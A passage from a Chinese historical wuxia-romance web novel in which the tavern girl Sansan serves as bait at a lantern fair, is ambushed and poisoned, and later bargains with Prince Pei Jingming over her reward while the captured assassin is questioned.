话都说的这么明白了,三三再反应不过来就是傻子了。
“你想让我当诱饵?”
“姑娘聪慧。”
“……我武艺一般,遇到危险怎么办?”三三盯着他。
裴景明神色从容:“姑娘放心,我会派人暗中保护你。”
“那要是救援不及时,我怎么办?等死吗?”三三继续追问。
“不会不及时的,”裴景明与她目光相接,眼神中充满了自信,“三三姑娘如果想早日回去过正常人的生活,与其每日在院子里无聊坐等落花,不如配合我们主动出击,背后主使早日落网,姑娘也能早日安全。”
三三不语,裴景明说的确实有道理。引蛇出洞才能抓,坐等谁知道要等到猴年马月。
只是本来还想借他之手除了那群贼人,坐收渔翁之利,这下好了,还得自己去当诱饵。
裴景明继续道:“姑娘放心,我会安排足够的人手保护你,你只需要明天回酒楼正常生活即可,剩下的我会安排。”
三三微微探身靠近,眼神不错地盯着裴景明:“若是我出事了,你怎么说?”
裴景明没有躲开她的逼问,温和地回视道:“那我这剩下的半条命,赔给姑娘便是。”
三三双手一拍,笑了笑:“如此甚好,既然这样,那我明日就回去了。多谢王爷这段时间的照料了。”
第二日清晨,街上商贩正陆陆续续出摊的时候,三三从元安王府回了酒楼。
“三三?”店小二正准备出门买包子当早点,猛然一见三三,还以为自己没睡醒,他提高声音喊了声,“三三?!”
三三正站在包子铺跟前买包子,好几天没吃这个包子了怪想念的,听到有人喊自己,咬包子的动作一顿,循着声音往后瞧去,发现是店小二,毫不犹豫继续咬了一口包子,边嚼边挥手。
“真是你啊三三,不是说你受了重伤被元安王带回去治伤了吗?”店小二是个八卦精,街上什么事都能听一耳问一嘴。
三三唔唔了几声敷衍他,脚一迈就要回酒楼。
店小二见她要走,急匆匆让包子店老板给他拿了几个肉包,丢下铜钱就追上了三三。
“你怎么还吃菜包啊,来来来,吃肉包,我买多了,”店小二见她还是跟往常一样吃那个菜包,把手里的肉包匀了一个给三三,“你不是受伤了吗,吃点肉吧。”
三三本来还剩一口就能吃完那菜包,先前已经吃了两个了,这会店小二又塞了个肉包过来,她叹了口气,这下能噎到嗓子眼了。
“三三,那元安王府怎么样啊?是不是特别豪华啊?”店小二嘴里吃着包子也不闲着。
三三吃完最后一口菜包,把那肉包给包了起来,准备留到中午吃。
“是啊是啊,特别豪华,”三三不欲多言,于是顺着他的话讲,“李大力,快点吃吧,要到酒楼了,准备干活了。”
三三说完,也不管他,快速朝酒楼方向走。
“三三?你回来啦!”刘雁跟往常一样拎着水桶擦桌子椅子,听见脚步声还以为是李大力,没想到竟然是三三。
“嗯,我回来了,老板娘呢?”三三笑了笑,得先跟老板娘报个到,免得她扣工钱。
“在后院呢,你快去吧。”刘雁朝她使了使眼色。
三三点点头,两步走到后院掀开帘子,见老板娘正在洗脸。
“老板娘,我回来了。”三三喊了一声,吓得老板娘擦脸的手哆嗦了一下。
她把脸上的帕子向下拉了点露出眼睛
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,回头,只见三三手掀着帘子,一张笑脸正对着她。
不知道为什么,老板娘竟然觉得眼眶有点热,她快速回过身将帕子一抹,嘴里却骂道:“死丫头,可算回来了,你不在知道我一天损失了多少钱吗?”
三三笑着走近:“知道知道,所以我伤一好就赶紧回来了不是,你可别忘了记账啊!”
老板娘哼了一声,挂好帕子转身去厨房端了碗乌漆嘛黑的东西出来。
“受伤了还不忘记账,我看你也是没好全,赶紧把这碗十全大补喝了。”
三三一瞧那满碗黑不溜秋的液体,心中发颤,讪笑道:“不用了吧,我真好全了,那——”
“让你喝就喝,我又不是给你下毒,”老板娘不耐烦挥了挥手,“快点喝完,喝完干活!”
三三没法拒绝,盯着那碗十全大补心里反复挣扎,终于在听到老板娘去而复返的脚步声时一鼓作气,心一横眼一闭碗一端吨吨吨地灌完了,然后在老板娘的注视下在水池边干呕了几声。
三三回了酒楼,平日里眼熟的客人都会问两句,一天下来三三已经形成了答话模板。
“诶,对,是受伤了,已经好了。”
“劳您挂心,没什么大事,好得差不多了。”
“是啊是啊,已经好了,这不继续回来干活了嘛。”
……
好在也就第一天是这样,后面几天都是跟往日一样了,招呼客人、送菜、送酒、劈柴、打扫卫生……
日子好像回到了当初,平常稀松,忙且无聊。
就像翻了几页书,内容大差不差,日子就这么不知不觉溜到了冬至,只剩寥寥数页。
冬至在大楚的地位仅次于除夕过年,冬至前一天家家户户都做了许多娇耳、浮元子、麻糍,满街飘香,沿街商户都挂起了红灯笼,风一吹就在檐角摇曳。
白日里商贩的吆喝声、叫卖声此起彼伏,摊前都是挑花了眼的人,一入夜更是热闹,熙熙攘攘,衣摆交接,惊叹声、叫好声络绎不绝。
“三三,老板娘说今夜不当值,你不上街吗?街上很热闹的。”刘雁脱下工服放好,正准备回家,见三三站在门口发呆。
“三三?”刘雁出门靠近她,见她没回应,轻轻碰了一下她胳膊,“你发什么呆呢?”
三三正犹豫今晚要不要上街呢,今天冬至按理来说是该去先生那的,但是今天一大早她右眼皮就开始有一下没一下地跳,跳得她心突突的。
猛然被刘雁一碰,突然打了个激灵,反而把刘雁给吓了一跳。
“三三,你没事吧?”刘雁忧心忡忡地看着她。
三三扯了扯嘴角,笑了一下:“没事,正发呆呢,你先回去吧,等下我锁门就行。”
见她还要再说什么,三三赶紧推了推她后背:“快回去吧!”
三三见她走了,原地犹豫了一会,锁好门之后决定还是去灯会看看,今夜人多且乱,到处闹哄哄的,如果她是贼人,绝不会放过这个机会。
三三换了身轻便的衣服,将匕首藏于腰间,两手空空就去看灯会。
花灯如海,纸灯做的精妙绝伦,灯下站满了人。来往的人踏着光影,裙摆落下又扬起,年轻男女脸上都洋溢着笑意。
三三挤着人,左躲右闪的,才走到了一半。她晚上没吃什么,这会已经走累了,见有人在卖糖人,好奇地探了探脑袋。
只见那捏糖人的老板手中勺子翻飞,三三还没看清他的招式,热糖就落在了板上,瞬间凝成了一只兔子。动作之快,形状之神似,惹得众人频频叫好,纷纷抢着买。
三三摸了摸口袋,没忍住也买了一根兔子糖。
她捏着兔子糖,轻轻咬了一口兔子耳朵,甜意瞬间在口腔弥漫开来。
这也太甜了吧!三三皱着眉边走边嚼,等走到鳌山灯会那边才发觉兔子只剩下了一条腿。
三三正准备解决这条腿,突然被人攥住了手。
“救、救救我,”那女子看起来遇到了些麻烦,神色慌张,连话都说不利索,攥着三三的手不停发抖。
8. 引蛇出洞抓
三三见她抖得厉害,犹豫了会反手拉住她,安慰道:“你别怕,慢慢说。”
那女子泫然欲泣,低声呜咽道:“我刚被一个陌生男子给摸了,但是他不承认还污蔑我。”
三三顿时瞪大了眼睛,竟然有这么不要脸的人!她愤愤咬掉那兔子腿,义正言辞道:“你别怕,这事在哪发生的,带我去看看,说不定人还在。”
那女子犹豫了一会,抓着三三的手就往灯会的方向走。
三三不习惯被人拉着,刚刚见她哭了才拉她安慰她,眼下被人拉着尤其不自在,她使使劲抽回被拉的手,扔了糖人竹签,默默跟着那女子走。
离鳌山确实越来越近了,但是怎么感觉不对呢,三三不动声色地打量着周围的人。
那女子不知何时到了她身旁,低声道:“就是这里。”
这是家卖灯的小摊,前面都挤满了人在挑灯,三三扭头打量周围的男子,突然感觉腰后冷冰冰的。
“小姑娘,别喊,也别动,我知道你会武功,但是我的银针也不是吃素的,还有毒哦。”那女子面上一副低眉顺眼的模样,说的话却冷冰冰的。
三三估量了一会情势,倒是很配合,没动也没喊,那女子就这么抵着她往鳌山灯会的小道走。
裴朝朝去年冬至碍于宫宴没能出来,今年提前跟明武帝商量好了,在宫宴上露了一下脸就偷溜跑了。
“公主,王爷让你等一等,他过会便来。”五三抱着剑,跟站桩一样拦住了裴朝朝出宫的路。
“……等多久?”裴朝朝问。
“一刻钟左右,公主先上马车等吧,外面冷。”五三上前掀开马车车帘。
裴朝朝虽然不情愿,但还是乖乖上去了,胳膊拧不过大腿,她认。
裴景明佯装身体不适提前离席了。
本应按时到宫门口的,却被裴文谦拦了一会,对方仿佛喝醉了,有一搭没一搭地胡言乱语说个不停。裴景明不欲理他,让十一找了两个太监送他回宴席上。
裴朝朝在马车里等的心急,今晚有鳌山灯会,那可是在上元节才有的,去年和今年的上元节没能看到,今年冬至她一定要看到不可!
“五三,二哥呢?还来不来啊?灯会快开始了!”裴朝朝有点着急。
“快了,公主请耐心等等。”
裴朝朝鼓了鼓嘴巴,半响又泄气,循环往复了几个来回,终于在第十次泄气的时候,裴景明来了。
“二哥,你再慢一点我今年又看不到灯会了!”
裴景明笑了笑,悠悠解释道,“本来没那么慢的,你三哥半路拦了我,这才慢了点。”
裴朝朝翻了个白眼,有什么事非得现在说。
“行了,快走快走!”裴朝朝见他已然上了另一辆马车,赶紧催五三出发。
五三见他主子没说什么,一跃上车,挥鞭驱马出宫门,直往那鳌山灯会去。
鳌山灯会热闹非凡,此刻已经挤满了人,摩肩接踵,三三被那女子用银针抵着后腰往小道上走,眼见就要离开人群了。
突然被辆马车给拦住了去路。
“姑娘,前面可是鳌山灯会?”驾车的五三似是不认识三三一般,勒马停下就问。
那女子扯着三三胳膊的手一紧,抢先答话:“是啊,可热闹了,快去吧,晚了就看不到了。”
坐在马车里的裴朝朝一听,立刻让侍女掀开帘子下马。
“多谢二位。五三,快快快,把马车停那吧,那边空,”裴朝朝马不停蹄指挥道,“停好我们就走。”
三三瞥了一眼五三,见后面还有辆马车,却没人下车,心里已经有了猜想。
那女子见他们并没有发现异样,用力扯了一下三三的胳膊,看似好友游玩累了相约回家,实则银针都要扎上三三后腰了。
五三带着裴朝朝就往人群里挤,几人方向相反,仿佛刚刚就是寻常的路人问话一般,那女子微微松了口气,扯着三三胳膊快速往那小道走。
路过后面那辆马车时,北风乍起,吹开了车帘,三三侧头看去,裴景明正闭目养神,恍若不觉。
三三无语至极,只得跟着那女子进了小道。
“这里已经被我们包围了,老实往前走,不然我可就扎你了,”那女子温柔地威胁道,“我下毒厉害着呢,你也不想试试吧?”
“……这位姐姐,不必如此,我走便是了。”
那小道上的灯笼不是很亮,只能勉强看清路,两边都堆满了乱七八糟的袋子,墙上还靠着些竹竿。
三三脑海里思索了片刻,寻思着是她闪得快还是那针扎得快。
“别动。”身后突然传来一声中气十足的男声。
三三微微侧头,凭借声音认出了十一,只见那女子脖子上架着一把锃光的横刀。
那女子手中的毒针几不可闻地动了一下,但很快又稳住。
三人就这样僵在原地,一动不动,各人神色不一,模样怪异,倒是有点好笑。
三三一下没忍住竟笑了出声。
那女子此刻面上仍是一片温柔:“大侠这是何意?我们姐妹二人不知哪里得罪了您?”
“别装了,你手里的银针我都看到了,松开她。”十一冷酷道。
三三心里默念了十个数,尝试着动了动,结果那银针根本不离她半寸!
那女子见被识破,也不再装了,扭头朝十一笑了笑:“你以为就我一个人吗?”
只见她话音一落,两侧屋檐上现出了数十个黑衣人,前方更是直接被黑衣人给堵满了。
十一见怪不怪,镇定得很,继续冷酷道:“你以为我也一个人吗?”
说罢,刀一动直接向她脖子砍去,那女子见状侧腰向下躲开,三三趁机甩开她手,往十一身后跑。与此同时,王府侍卫纷纷出现,与屋檐上的黑衣人陷入恶斗,红黑交错间,盔甲刀剑铿锵作响,不时有人从屋檐上掉落下来。
十一后方的侍卫纷纷冲向前方,与堵在另一边的黑衣人大开杀戒。
没成想,这群黑衣人竟然有弩箭,箭雨翻飞间骤然倒下许多侍卫,局势一下翻转。
众人只好便打便后退。
三三躲在竹竿后,差点被箭矢射中脚!她赶紧又往后躲了躲。
那女子站在对面,脸上仍旧是那副温柔的模样:“把人留下,饶你们不死。”
十一冷哼了声,缓缓吐出四个字:“痴人说梦。”
说罢,挥刀就直往前冲,对面黑衣人又摆上了弩箭,唰唰声响中再次下起了箭雨。
只是那箭还没射到跟前,突然被另一拨出现的人提盾给挡住了。
“十一!我们来了!”三三循着声音瞧去,只见那个文弱书生许微澜带着两三队人马从后方包围住了那群黑衣人,站在前面的捕快手里还拿着盾牌。
眼下中间那群黑衣人还有那女子就跟被包饺子似的团团围住了。
三三终于放心地从竹竿后面出来,但她也没出声,只是默默地往后挪了一下。
那女子见对方援兵已到,也不害怕,只是眼神不错地盯着前方的十一,温柔道:“兄弟们,事已至此,是生是死都无所谓了,杀一人够本,杀两人是赚,随我杀出去!”
话一落,她便率先甩出银针射杀了几个侍卫,身后的黑衣人见状纷纷举刀冲了上去。
虽说黑衣人已然被剿灭了大半,但那女子身手却不错,竟然跟十一打
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得有来有回,还见缝插针地使用暗器伤了好几个人。
那女子招招致命,十一想抓活口带回去问话,难免要注意,反倒给了对方可趁之机。
那女子瞄准时机,从边上拽了个黑衣人推向十一,同时侧身翻转绕到了十一身后,直奔三三而去。
淬了毒的多根银针近在咫尺,三三身形矫捷,边上的人还没看清她就已然几个转身躲了过去。
“九转鬼踪步?”那女子惊讶得看了一眼三三,“你是武群什么人?”
“……不知道你在说谁,”三三眉眼微动,佯装惊讶,“我就是转了转。”
那女子不知信没信,依旧甩出银针朝三三袭来。
十一被黑衣人纠缠,无暇顾及三三。
三三顺手从边上拿了根竹竿,握在手里连续打转,转眼间就把银针打掉了。
但很快,那女子不知道从哪抽了把匕首出来,直劈三三脑袋,力道之大,一下就把三三格挡的竹竿给砍成两半了。
三三向后弯腰,趁机抬腿往她腹部踹了一脚,同时紧盯着她,竹竿向后一甩,从腰后拔出了自己的匕首。
”有点东西,“那女子被踹的后退了几步,站稳后又抽了另一把匕首出来转了转,脸上温柔的表情从一开始就没有变过,“既如此,过两招吧。”
她凌空一跃,双持匕首轮番刺向三三。
小道上打得如火如荼,不远处的马车却一片安详。
”王爷,那女子战力不俗。”二七躲在暗处观战一番后回来汇报,脸上竟然有点跃跃欲试。
“……去把三三带出来,”裴景明也不知道三三战斗力如何,万一伤着了就不好了,“记住,活捉那个女子回来问话,别让她自杀。”
二七脚下一转就想走,没走两步又直愣愣地转回身,问道:“那您呢?我不在的话……”
车帘被掀起,露出一张落拓不羁的胡须脸。
“你小子放心去吧,我在这呢。”那胡须脸吊儿郎当道。
五三面上一片愕然,没想到他竟然在这。
“老大,你怎么在这?啥时候来的啊?”
唐凌摸了把胡须,不长但是扎人:“你管我?赶紧去!”
五三见他在,也不迟疑了,脚下生风就往小道上的屋檐上飞。
“锵——”匕首相碰的声音刺耳至极。
那女子先前跟十一打已然耗费了大半体力,眼下跟三三打已然是透支了。
她回头见同伙都要被杀完了,毫不犹豫地朝三三甩出了最后几根毒针,三三挡是挡住了,但没想到这人竟然还趁机撒了把毒粉!
三三被呛得咳了几下,那女子趁机屈手钳住了三三的脖子。
“都住手,放我走。”那女子终于卸掉了温柔的模样,疾言厉色道,“不然她就死了。”
十一一刀刺穿最后一个黑衣人的胸膛,甩了甩刀尖上的血,转身看着那女子。
许微澜等人也纷纷看向她。
“可以,但你别伤害这位姑娘。”许微澜思索了片刻道。
三三脸都憋红了,那粉不知道是什么毒,现在她一点力气都没有,只能任由那女子挟持。
二七站在屋檐上往下看时,只见那女子挟持三三,十一和许微澜众人与对方相持不下。
啧。
看我的。
二七脚步轻点直跃而下,那女子也不是吃素的,听见声音就回头,只是还没看清人,眼前一黑就被二七劈晕了。
她钳住三三脖子的手一软,一下就倒了下去。
三三中了毒此刻也神志全无,没了支撑就要倒地,二七见状,手伸直了支住她后背,大喊:“十一!她晕了!快来!”
9. 毒发忆往事
十一跟扛麻袋似的扛着三三出来时,裴景明已然下车。
“这是怎么回事?”裴景明眉头不自觉跳了跳,这是受伤了?
十一将人塞进马车里,简短说了经过。
裴景明朝唐凌看了一眼,后者会意将那女子也给绑了起来,一同丢进了马车,自己也钻了进去看着。
“二七,你去叫褚神医过来看看,”裴景明看向二七简单吩咐道,视线又转回十一身上,“十一,打扫干净。”
“二哥!”裴景明转轮椅的动作一顿,听见这一声二哥狐疑了会,他缓缓转正轮椅,只见侍女和五三手里拿了好几个灯笼,裴朝朝自己手上也拎着两个,还有一些小吃。
”二哥,我给你挑了些灯笼,你拿回去挂府上肯定好看!”裴朝朝说着就往后边那马车上去。
裴景明虚虚伸手,诶了一声,话还没说出口,裴朝朝就被车里的三人吓得瞪大了眼睛,连连后退几步。
“二哥,”裴朝朝声音有点变调,听不出是惊讶还是什么,她连连后退到裴景明身旁,“她怎么会在这啊?是刺客吗?”
她?还是他?
裴朝朝低声道:“就是那个穿着朴素的姑娘。”
裴景明一下就明白了她说的是三三。
“你认识?”他问。
裴朝朝点头:“三个月前,我上街游玩,见到她替人出头。”
裴景明挑了挑眉,确实像三三会做的事。
“她为何在这啊?也不像作奸犯科之人啊。”裴朝朝忍不住问道。
裴景明张了张口,还没出声,许微澜就凑了过来,低声道:“公主,人是无辜的,良民,配合办案受了伤,正要带回去医治呢。”
裴朝朝蹙眉看向裴景明:“当真?”
三三此前替人出头的模样实在是让人印象深刻,以至虽然不认识,但裴朝朝见她昏迷得不省人事,唐凌也在车上,乍一看还以为是唐凌抓了两刺客,难免有些好奇和担忧。
“真的,”裴景明接过她手里提着的灯笼,笑道,“鳌山灯会开始了吧?不去看吗?”
裴朝朝顺势把手上的灯一股脑都递给了他:“看,这就去,今晚我不回宫了,去你府上住一晚,父皇也同意了。”
裴景明手上怀里都堆满了灯,整个人都要发光了,见裴朝朝已走,五三也跟上了,想来不会有什么事了,便直接打道回府了。
三三仿佛做了一个很长的梦,梦境混乱不堪。
五岁前被一家农户夫妇收养,梦里一会是小小的她眼巴巴候在漆黑的灶边等着吃窝窝头,场景一转又变成了大汗淋漓的她费劲巴拉地迈着小短腿跟着那对农户夫妇去山上放牛捡拾柴火,那段日子艰苦且无聊,她其实已经很久没再想起过了。
后来天大旱,庄稼颗粒无收,饥荒饿死了许多人。
夫妇俩偏偏又生了个男孩,家里一粒米也没有,起初还能靠着地瓜、田薯、玉米等勉强过活,后来……
农夫想着把三三卖了换点粮食,那妇人却不肯,两口子为着这事吵了几次。后来那小男孩饿得整夜哭闹不停,妇人犹豫再三,终于含泪咬牙同意了农夫的提议。
三三记得很清楚,那天天不亮,夫妇俩就将她带上了集市,前途就跟将亮未亮的天色一般,欲明未明。她跟其他的小孩一样,面黄肌瘦不说,整个人还灰扑扑的,身上穿着打满补丁的旧衣服,站在那一动不动,偶尔有人来问了,她才会转转眼睛。
后来遇到了现在的酒楼老板娘,她不知道从哪来的,跟易子而食的人大相径庭。她在街上逛了许久,挑剔得很,不是这不满意,就是那不满意,也不知道怎的一眼就瞧中了三三,毫不犹豫给了钱就将人带走。
银子抛起又落下,银色转换间又看到了当初跪在她面前痛哭流涕的程书。
那会跑了之后,其实是隔了段时间才又见程书的,彼时他隔三岔五就去酒楼打酒,三三不知道他是偶然还是刻意为之,但不好拒绝客人,一来二去的两人偶尔会聊点天,半生不熟。
“你现在不信我,这是好事,证明你有自己的判断能力,但我看那老板娘也不送你上学堂,且不说你天资聪颖,人生在世总要学点诗书道理,不然岂不是白活?你不信我没关系,跟我读书习字可好?”程书拎着酒壶,笑眯眯问。
三三当时还挺犹豫的,她不自觉地蜷了蜷手指,嘴里问的却是:“收钱吗?”
程书摆摆手,背影渐去的同时留下了句话:“不收钱,若想读书,去城外那个旧书铺找我即可。”
三三记得当时她还挺开心的,但梦里的她却盯着程书的背影,看着落寞又孤寂。
被父母抛弃的婴儿?被农户收养又卖掉的养女?被老板娘买下的养女帮工?还是程书口中所谓的前朝公主?
其实,她对自己的真实身世一无所知。
许是太久没有想起过往事了,三三感觉心神消耗极大,仿佛坠入了深不见底的黑渊,她怎么也爬不上去。
“她怎么出了那么多冷汗?”裴景明见褚神医已然收好银针,但三三看起来并没有要醒来的意思。
那褚神医是个老酒鬼,酒糟鼻红彤彤的,圆脑袋圆眼睛,长得倒是很喜庆。
他装好银针袋子,打开随身携带的酒葫芦,仰头喝了两口,挥着手在空中一字一顿道:“她中的这毒可不是普通毒,那可是魂死梦中,先是让人浑身无力昏迷不醒,继而陷入梦中循环往复,毒性随着梦境的发展散发全身,等十二时辰一过,人就死在梦中啦。”
五三第一次听说这种毒药,一时间惊讶得张大了嘴,赶紧问:“那还有的救吗?”
褚神医砸巴砸巴嘴,细细品着余后酒香:“换做其他人那是没救了,但是我褚神医是何许人也?放心吧,我已施针逼出了毒血,待会让人喂她服下两碗药,再睡上两个时辰左右便能醒了。”
裴景明颔首,低头看着床上汗涔涔的人。
昏迷不醒的三三鬓边黑发已然被汗水打湿,面上苍白毫无血色,倒显得她五官更为清晰了。
眼睛闭上的时候看起来还蛮乖巧的,裴景明想,但一睁眼就全是提防。
真是白瞎了这双凤眼。裴景明暗自笑了笑。
“珩清,我跟你说,不得了了不得了了。”许微澜咋咋呼呼地就要进来,裴景明一手竖起食指放嘴边,另一手指向外面,示
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意他出去说。
许微澜见侍女在喂药,连忙收了声,倒退出门。
“怎么了?”裴景明问。
“那下毒的女子,你猜怎么着?她脸上是块人皮面具!将她丢进狱里时,唐凌瞧见她这,”许微澜指了指自己下巴和脖子的连接处,“有褶皱,还连着,便觉得奇怪,伸手去摸,发现可以撕下来,然后三下五除二就给她撕了。”
“你猜这人是谁?”许微澜双手抱胸,语气中莫名有点得意。
“我们认识的?”裴景明见他这么得意,一时之间都不知道该猜谁。
“是康钧王裴瑜宁的侍女,”许微澜一脸想不到吧,又补充了句,“不过是前两个月的了。”
“……前两个月是什么意思?被赶出来了?”裴景明问。
“你怎么不先问问我怎么知道她是康钧王的侍女呢?”许微澜继续抱胸得意。
“……你怎么知道的?”
许微澜双手一拍,激动道:“还不是之前刚上任大理寺少卿那会,康钧王和宁北王都派人来给我送贺礼,巧了不是,当时康钧王那边正是这侍女来的礼,送的还是棵千年老参,我记忆犹新啊!”
裴景明笑了声,又问:“那两个月前又是什么意思?”
许微澜又一拍手,不自觉地上前两步:“我认出人之后,立马就去了康钧王府上问话,管家说是因为那侍女不小心摔碎了康钧王一套名贵茶杯,就被赶出来了。”
裴景明挑了挑眉,随即嘴角微微上扬,笑得意味深长:“这么巧?你信?”
许微澜当然不信了,变着花样地问了府上其他几个人,还亲自问了康钧王是不是少了套茶杯,结果很明显,证词内容虽然不一,但最后的结果都是——是有这么个侍女,打碎了套茶杯被赶出去了。
“这下怎么办?怎么就牵扯到了康钧王身上了啊?”许微澜头都要大了,丧眉耷眼地不住叹气。
裴景明拇指和食指轻轻摩梭了下:“那女子现在醒了吗?”
“我出来那会是一个时辰前吧,估计现在也快醒了。”许微澜装模做样地掐了掐手指。
“她也应当认出你了,先晾着吧,注意别让她自杀了,”裴景明抬头看了看远处的天际线,忙活一晚下来,都要卯时了,“明天醒了一起去看看。”
裴景明送走了许微澜之后,又进房看了看三三。
服了两副药后,倒是不怎么出冷汗了,眉目也舒展了,侍女走之前还给她擦了擦鬓角,此刻再看她面容,也稍微有了点血色。
裴景明默不作声地打量她,确实漂亮,五官轮廓分明,眼角微微上挑,平日里张牙舞爪的,像只小狮子。
裴景明靠在轮椅后,双手交叠,神情散漫中带点慵懒,不知道想到了什么,笑意漫过眼角,没过多久就退了出去。
三三在梦里爬了好久的深渊,左脚浅右脚深的,也不知道爬了多久,终于在累得不行的时候看到了点微光。
三三费劲巴拉爬了上来,却瞧见裴景明坐着个轮椅在旁边喝茶,她气不打一处来,语气汹汹地质问他:
“我没死,但是也差不多去了半条命了,这你怎么赔?”
10. 寺庙抚孤儿
大理寺刑狱。
午时刚过,狱卒就给那女子放了饭和水,接着按老规矩挨个轮班去吃饭。
那女子今早就醒了,斜着身子倚在墙边一言不发,进来之前被褚神医喂了绵绵丹,人是醒着的,但一点力气都没有,瞪眼都费劲,更别提咬舌自尽这种力气活了。
许微澜推着裴景明过来时,见她还是跟狱卒清早汇报时的一样,呆坐无言。
许微澜刚想从怀里掏出钥匙打开牢门,裴景明抬手拦了一下。
“不用开了,就这么问吧。”
许微澜想想也是,进不进去都这样。
“你是康钧王府上的侍女,是什么时候接触并加入到通天教的?”许微澜放下掏钥匙的手,整了整衣摆,率先发问。
那女子恍若未闻,连个眼神都没给他。
许微澜嘿了一声,正想说她不知好歹。
裴景明便道:“与其说她是侍女,不如说她是通天教教徒,进入王府即可,不管是哪个王府,对吧姑娘?”
那女子微微偏了一下头,但幅度很小,仿佛只是简单的随意动作。
“她不开口答话是因为没力气吗?”许微澜微微弯腰低声问道。
裴景明只是勾了勾嘴角,说不清是笑还是嘲讽。
“她一个刺客,丹药只能让她失去力气自杀,不至于连答话的力气都没有,她这是负隅顽抗。”裴景明淡淡道。
许微澜一听,立即双目圆瞪,双手叉腰,面上一片怒意:“老实交代知不知道!不然我可就大刑伺候了!”
那女子这下终于侧身看他们了,只是朝许微澜很挑衅地笑了笑。
许微澜被她这模样气得胸口疼,手指发抖地指着她你你你个没完。
裴景明挡下他的手,敷衍道:“刺客都这样,不用这么生气,你先出去吧,我来问两句。”
许微澜唰地一下愤愤甩袖拾步就走。
“看你武功不低,又会使毒,应是通天教的中上层人员吧,你们通天教早年就因为活人祭祀被朝廷剿灭过,折损了大半人,如今时隔二十年,又想重蹈覆辙了吗?”裴景明垂眸看着她,眼神中充满了寒意。
那女子似是被他的眼神所激怒,终于开口说话了,只是——
“你们这些狗屁的王公贵族,道貌岸然的伪君子,终有一天会被教主给杀了,灵魂被镇压在地狱永世不得超生!”她声音嘶哑,语气中充满了愤怒,甚至因为想起身而摔倒。
裴景明继续面无表情地盯着她,而后者眼神通红,嘴里依旧不依不饶。
许微澜刚出去不久就被她这尖锐的叫骂声给吓了一跳,回来一看这人跟疯婆子似的,赶紧推着裴景明走了。
“看样子这人是没用了?”许微澜叹了口气,“费劲巴拉地抓了个活口,结果却审不出什么有用的。”
裴景明手里盘着不知道哪来的核桃,片刻才问:“之前查她的亲属好友之类的有消息了吗?”
“没有,这人是孤儿,性格也比较孤僻,根本没有什么好友,一直独来独往。”许微澜想起了之前去康钧王府上问话,那些侍女个个都说跟她不熟,更郁闷了。
“难怪会加入通天教,”裴景明敲着核桃,思虑片刻后才道,“也许正是因为她的身世才会养成她孤僻的性格,她看起来也就二十左右,正好跟二十年前的通天教对上了,我朝有孤儿由寺庙抚养长大的惯例,去查查寺庙吧。”
许微澜双手一拍,激动道:“有道理,珩清你说得对!”
三三醒来时全身无力,她睁开眼时看到侍女在旁边正给她晾药,张了张嘴,虚虚地问了句:“现在是什么时辰了?”
那声音实在是太小了,要不是侍女隔三岔五就会回头看一眼,她都不知道三三已经醒了。
“姑娘,现在是午时二刻,神医说你约莫就是这个时候醒,果然如此,真是太神了!”侍女上前拿了另一床厚一点的被子塞到三三身后,而后小心翼翼地将她扶起来靠后,又将药给端了过来,作势要喂三三。
三三扯了扯嘴角,勉强笑了笑:“姐姐,我自己来就行,不用喂。”
天可怜见,她长这么大都没体验过被人喂药,怪尴尬的。
三三本想一勺一勺喝,奈何第一口就苦得她眉头发紧,干脆眼一闭直接一碗干了。
那侍女见她这般干脆,还以为她是个吃得了苦的,不成想喝完就在那干呕,顿时笑出了声,从桌上拿了碟甘果给她。
“吃点这个吧,能缓缓。”
三三道了谢,拿了一颗就往嘴里送。
“神医说你醒了之后需得先喝了那碗药才能吃东西,”侍女将药碗放好,又问她,“姑娘,你可有什么想吃的吗?”
三三含着那甘果,将苦味给压了下去之后才缓缓开口:“随便什么都可以,我不挑食的。”
那侍女应了声好,三三在她出门前问了她名字。
“芍药,就是那个花的名字。“芍药回过身来笑道。
三三点点头,心想,果然,大户人家里面的下人名字都挺好听的,回去以后她也要给自己取个好听的名字!
十一推着裴景明过来的时候,三三正在大快朵颐。
见人来了,装模作样地问了句王爷用饭了否,实则脸上写满了敢说没有我就砍了你几个大字。
裴景明笑了笑,轮椅停在她对面,屏退了左右,就这么看着三三吃东西。
三三也不尴尬,就这么吃,她中了毒,一定要吃多点补回来!
约莫过了半炷香的时间,裴景明见她放下筷子了,温和问道:“三三姑娘吃饱了吗?没吃饱的话再叫厨房做点?”
三三拿起旁边的帕子擦了擦嘴:“饱了,直接说事吧。”
裴景明面上一本正经:“此次三三姑娘出了大力气,还中毒受伤了,之前答应过你的我没完全做到,是我的错,姑娘有何要求尽管提。”
三三一手托着下巴,另一手在桌上轻轻敲着,眼睛一眨不眨地盯着他:“你派的人手够多,确实没有让我受到皮肉之苦,但是也没料到对方使毒,只能说无功无过吧,上次受伤你也好吃好喝供着我,我不占你便宜,把应得的赏钱给我就行。”
裴景明眉梢微微挑起,勾了勾嘴角,眼底带着一抹笑意:“三三姑娘放心,赏钱加倍。”
“那是多少?”
“姑娘想要多少?”
三三犹豫略一迟疑:“五十两?”
不怪三三开口五十两,毕竟老板娘说养她长大花了一百两,她中一次毒能换五十两也算赚了。
裴景明眼底笑意加深:“太少了吧?姑娘要不再想想?”
三三蹙了蹙眉,要多了怕他不给,要少了自己又亏,她天人交战了数个来回,在对方的注视下,终于咬牙开口道:“一百两!”
“好。”裴景明本想说的就是这个数,见她这么纠结,最后得出了这个数还真是有点意外。
三三见他这么痛快地就答应了,眼角眉梢都带上了笑,但转念一想,这么多银子,她能放哪呢?酒楼肯定不行,她的住处就挨着老板娘房间,老板娘很容易发现,到时候一定会让她还
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钱的,虽然也不是不能还,但还了之后她就没什么钱了,还是先留着,一点一点还吧。放先生那?好像也不行,上次去书铺,先生就想让她离这些王爷远点,要是让他知道这钱是她赚元安王的,老头要急眼了……柜坊的话,她怕有人认出她,毕竟她经常走街串巷的……
三三犹豫了一会,又道:“银子太多了,先放你这行吗?要取的话我会来找你拿,当然,我不白放,可以给你利息。”
裴景明眼中闪过一丝讶异,不存柜坊吗?但旋即恢复如常,正色道:“当然可以。”
三三道了声谢,又立即问了句:“那女子招了吗?我现在能回去了吗?”
裴景明轻轻摇了摇头:“还没招,你这毒虽然已经解了,但恢复也需要时间,先住下吧。”
“那酒楼那边……”
“我已派人告知老板娘,你放心吧。”
三三点点头,谈完事情二人就没什么好说的了,相对无言倒显得尴尬。好在尴尬没多久,就有人过来了,还是俩。
“二哥!”
“珩清!”
两道声音同时在左右耳边炸起,裴景明脑袋都要大了。
“你怎么在这啊二哥?”裴朝朝率先发问。
